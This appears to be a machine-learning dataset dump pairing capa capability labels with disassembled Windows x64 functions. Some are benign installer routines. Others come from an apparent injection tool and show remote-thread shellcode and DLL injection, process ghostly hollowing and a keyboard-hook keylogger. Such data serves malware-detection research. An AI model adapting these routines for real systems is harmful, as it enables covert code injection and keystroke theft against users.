joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001450c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
mov eax, 0x2020
call fcn.140018b00
sub rsp, rax
xor r14d, r14d
mov rsi, r8
mov rbx, rcx
test r9, r9
je 0x14001453f
mov byte [r9], r14b
mov rcx, qword [rsp + 0x2050]
test rcx, rcx
je 0x14001454f
mov byte [rcx], r14b
test rbx, rbx
je 0x140014604
movzx eax, word [rbx]
test ax, ax
je 0x140014604
movsxd rbp, dword [rsp + 0x2058]
mov rdi, r14
mov r8d, r14d
add rbx, 2
cmp ax, 0x3d
jne 0x140014594
test rsi, rsi
je 0x1400145a0
test rdi, rdi
jne 0x1400145a0
test r9, r9
je 0x14001458f
mov byte [r9], 1
mov rdi, rdx
jmp 0x1400145af
cmp ax, 0xd
je 0x1400145c1
cmp ax, 0xa
je 0x1400145c5
mov word [rdx], ax
add rdx, 2
lea eax, [rbp - 2]
cmp r8d, eax
jge 0x1400145bc
movzx eax, word [rbx]
inc r8d
test ax, ax
jne 0x140014572
jmp 0x1400145c5
mov byte [rcx], 1
jmp 0x1400145c5
add rbx, 2
mov word [rdx], r14w
test rsi, rsi
je 0x1400145ff
mov word [rsi], r14w
test rdi, rdi
je 0x1400145ff
mov r8d, 0x1000
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8, rbp
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.1400079e4
mov word [rdi], r14w
mov rax, rbx
jmp 0x140014606
xor eax, eax
lea r11, [rsp + 0x2020]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x140014624
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderLocation]
xor ecx, ecx
test eax, eax
sete bl
test eax, eax
jne 0x140014690
mov rcx, qword [rsp + 0x50]
mov rdx, rdi
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov rcx, qword [rsp + 0x58]
cmp eax, 1
mov rdx, qword [rsp + 0x50]
sete bl
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
call qword [0x14002d478]
jmp 0x140014693
mov word [rdi], cx
mov al, bl
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140017234
Capabilities:
Hide graphical window

Disassembly:
push rbx
sub rsp, 0x20
and dword [0x140060228], 0
mov edx, 1
mov rbx, rcx
mov byte [0x140058de9], 1
mov byte [0x140058dea], 1
call qword [sym.imp.USER32.dll_ShowWindow]
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 2]
call fcn.1400011d4
cmp qword [0x140070958], 0
jne 0x14001727f
cmp byte [0x140058dfb], 0
je 0x140017288
cmp dword [0x140058dec], 0
jne 0x14001729d
xor r9d, r9d
mov edx, 0x111
mov rcx, rbx
lea r8d, [r9 + 1]
call qword [sym.imp.USER32.dll_SendMessageW]
add rsp, 0x20
pop rbx
ret

Function at 0x140017340
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1050
call fcn.140018b00
sub rsp, rax
xor edi, edi
mov rbx, rcx
cmp byte [0x140062238], dil
je 0x140017412
cmp word [0x14006223a], di
je 0x140017412
mov r8d, 0x800
lea rdx, [rsp + 0x50]
lea rcx, [0x14006223a]
call fcn.140015bb8
lea rax, [rsp + 0x1068]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareWinRAR_SFX
lea rax, [rsp + 0x1070]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140017412
mov rcx, rbx
call fcn.14001d698
lea r9d, [rdi + 1]
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea ecx, [rax*2 + 2]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x1070]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x1070]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x1060]
add rsp, 0x1050
pop rdi
ret

Function at 0x140017424
Capabilities:
Set environment variable

Disassembly:
push rbx
mov eax, 0x2020
call fcn.140018b00
sub rsp, rax
mov rbx, rcx
mov rdx, rcx
lea rcx, str.sfxcmd
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov r8d, 0x1000
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400076c0
mov rbx, rax
test rax, rax
je 0x140017486
movzx ecx, word [rax]
jmp 0x14001746d
add rbx, 2
movzx ecx, word [rbx]
call fcn.1400077e8
test al, al
jne 0x140017466
mov rdx, rbx
lea rcx, str.sfxpar
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x2020
pop rbx
ret
Function at 0x140018410
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x140018488
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x140018488
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x140018488
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x14001847c
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x14001849a
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x14001846a
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x14001848a

Function at 0x140019408
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140019452
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140019452
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140019452
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140019452
cmp dword [rcx + 0x84], 0xe
jbe 0x140019452
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140019454
xor al, al
add rsp, 0x28
ret

Function at 0x140022020
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140021d84
Function at 0x1400024b0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
jmp 0x1400024d6
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x20], eax
jge 0x14000252b
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x14000250c
add rax, 2
test dx, dx
jne 0x1400024f6
xor eax, eax
jmp 0x140002511
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140002529
mov eax, dword [rsp + 0x40]
dec eax
cmp dword [rsp + 0x20], eax
jge 0x140002529
mov eax, dword [rsp + 0x20]
inc eax
jmp 0x14000256c
jmp 0x1400024cc
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + rax]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 6
je 0x140002567
mov rdx, qword [rsp + 0x50]
lea rcx, str.Suppy_Argument_for_the__S_Switch_n
call fcn.140001070
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov eax, 0xffffffff
add rsp, 0x38
ret

Function at 0x140002580
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x140002618
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x90]
lea rcx, str.Failed_To_Open_Handle_To_File__S_Error_Code_is_0x_x_n
call fcn.140001070
xor eax, eax
jmp 0x1400026d5
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x14000264b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14000e4b0]
call fcn.140001070
xor eax, eax
jmp 0x1400026d5
movsxd rax, dword [rsp + 0x40]
mov rcx, rax
call fcn.14000b408
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x50], rax
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0x60]
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400026c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_Read_File_Data_Error_Code_is_0x_x_n
call fcn.140001070
xor eax, eax
jmp 0x1400026d5
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0x80
pop rdi
ret
Function at 0x1400026f0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x14000275d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_get_File_size_Error_Code_is_0x_x_n
call fcn.140001070
xor eax, eax
jmp 0x14000276c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x140002780
Capabilities:
Create process on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xf0
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x100]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140002847
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x100]
lea rcx, str.Failed_to_Create_Process__S_Error_code_is_0x_x_n
call fcn.140001070
xor eax, eax
jmp 0x140002876
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x58]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x108]
mov ecx, dword [rsp + 0x60]
mov dword [rax], ecx
mov eax, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0xf0
pop rdi
ret

Function at 0x140002890
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
add rsp, 0x28
ret
Function at 0x140003100
Capabilities:
Process ghostly hollowing

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0xf8], rax
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x60]
call fcn.140007ce0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x40]
lea rdx, str.___
lea rcx, [rsp + 0xd8]
call fcn.140008f10
nop
lea rcx, [rsp + 0x60]
call fcn.140007c20
lea rax, [rsp + 0xb8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rcx, [rsp + 0xd8]
call fcn.140007ae0
mov rdx, rax
lea rcx, [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rsp + 0x88], 0x30
mov qword [rsp + 0x90], 0
mov dword [rsp + 0xa0], 0x40
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0xc8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0x80], 0xffffffffffffffff
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rsp + 0xc8]
lea r8, [rsp + 0x88]
mov edx, 0xc0110000
lea rcx, [rsp + 0x80]
call qword [sym.imp.ntdll.dll_NtOpenFile]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x14000328c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_Create_Target_File_Eror_Code_is__x_n
call fcn.140001070
mov qword [rsp + 0x48], 0xffffffffffffffff
lea rcx, [rsp + 0xd8]
call fcn.140007c20
mov rax, qword [rsp + 0x48]
jmp 0x1400032ab
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xd8]
call fcn.140007c20
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0xf8]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0x100
pop rdi
ret
Function at 0x140004c30
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x98
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x68], 0
mov r8d, dword [rsp + 0xa0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140004cb4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0xa0]
lea rcx, [0x14000f118]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140004e76
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
cmp word [rax + rcx*2], 0
jne 0x140004cca
mov rax, qword [rsp + 0x58]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140004d3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0xa0]
lea rcx, [0x14000f160]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140004e76
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
cmp word [rax + rcx*2], 0
jne 0x140004d57
mov rax, qword [rsp + 0x60]
lea rax, [rax + rax + 2]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x140004dcf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0xa0]
lea rcx, [0x14000f1a0]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140004e76
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14000f1e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140004e14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Get_CreateRemoteThread_Address_Error_Code_is0x_x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140004e76
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140004e74
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0xa0]
lea rcx, [0x14000f240]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140004e76
xor eax, eax
add rsp, 0x98
ret
Function at 0x140004e80
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xc8
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140004eee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0xd0]
lea rcx, str.Failed_To_Load_Dll__S__Error_Code_is_0x_x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000505a
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x70]
call fcn.140007ce0
nop
lea rcx, [rsp + 0x20]
call fcn.1400011e0
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.140007b10
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.140007b80
mov rcx, qword [rsp + 0x40]
mov r9, rcx
mov rcx, qword [rsp + 0x48]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x90]
call fcn.140008f70
lea rcx, [rsp + 0x90]
call fcn.140007d30
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140004fc1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0xd8]
lea rcx, str.Failed_To_Resolve_Function_address__S__Error_Code_is_0x_x_n
call fcn.140001070
mov dword [rsp + 0x24], 0xffffffff
lea rcx, [rsp + 0x90]
call fcn.140007d60
nop
lea rcx, [rsp + 0x70]
call fcn.140007c20
mov eax, dword [rsp + 0x24]
jmp 0x14000505a
xor r9d, r9d
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x38], 0
jne 0x140005020
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_Set_Windows_Hool__Error_Code_is_0x_x_n
call fcn.140001070
mov dword [rsp + 0x28], 0xffffffff
lea rcx, [rsp + 0x90]
call fcn.140007d60
nop
lea rcx, [rsp + 0x70]
call fcn.140007c20
mov eax, dword [rsp + 0x28]
jmp 0x14000505a
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x90]
call fcn.140007d60
nop
lea rcx, [rsp + 0x70]
call fcn.140007c20
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0xc8
ret
Function at 0x140005080
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x78
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x88]
call fcn.140002580
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400050d4
mov eax, 0xffffffff
jmp 0x14000524a
mov rcx, qword [rsp + 0x88]
call fcn.1400026f0
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1400050f6
mov eax, 0xffffffff
jmp 0x14000524a
mov r8d, dword [rsp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000513e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x80]
lea rcx, [0x14000f328]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000524a
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140005196
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x80]
lea rcx, [0x14000f370]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000524a
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400051e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x80]
lea rcx, [0x14000f3b0]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000524a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140005248
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x80]
lea rcx, str.Failed_to_Create_Remote_Thread_in_process_PID__d__Error_Code_is0x_x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000524a
xor eax, eax
add rsp, 0x78
ret
Function at 0x140007090
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x490
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x480], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
lea rdx, str.NtCreateProcessEx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, [0x14000feb0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x4a8]
call fcn.140002580
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x4a8]
call fcn.1400026f0
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x270]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rdx, [rsp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0x40], eax
lea r9, [rsp + 0x270]
xor r8d, r8d
lea rdx, [0x14000f154]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x270]
call fcn.1400032d0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400071b0
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x1400071b7
mov eax, 0xffffffff
jmp 0x1400071e2
mov r8, qword [rsp + 0x4a0]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140004950
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
jne 0x1400071e0
mov eax, 0xffffffff
jmp 0x1400071e2
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0x490
pop rdi
ret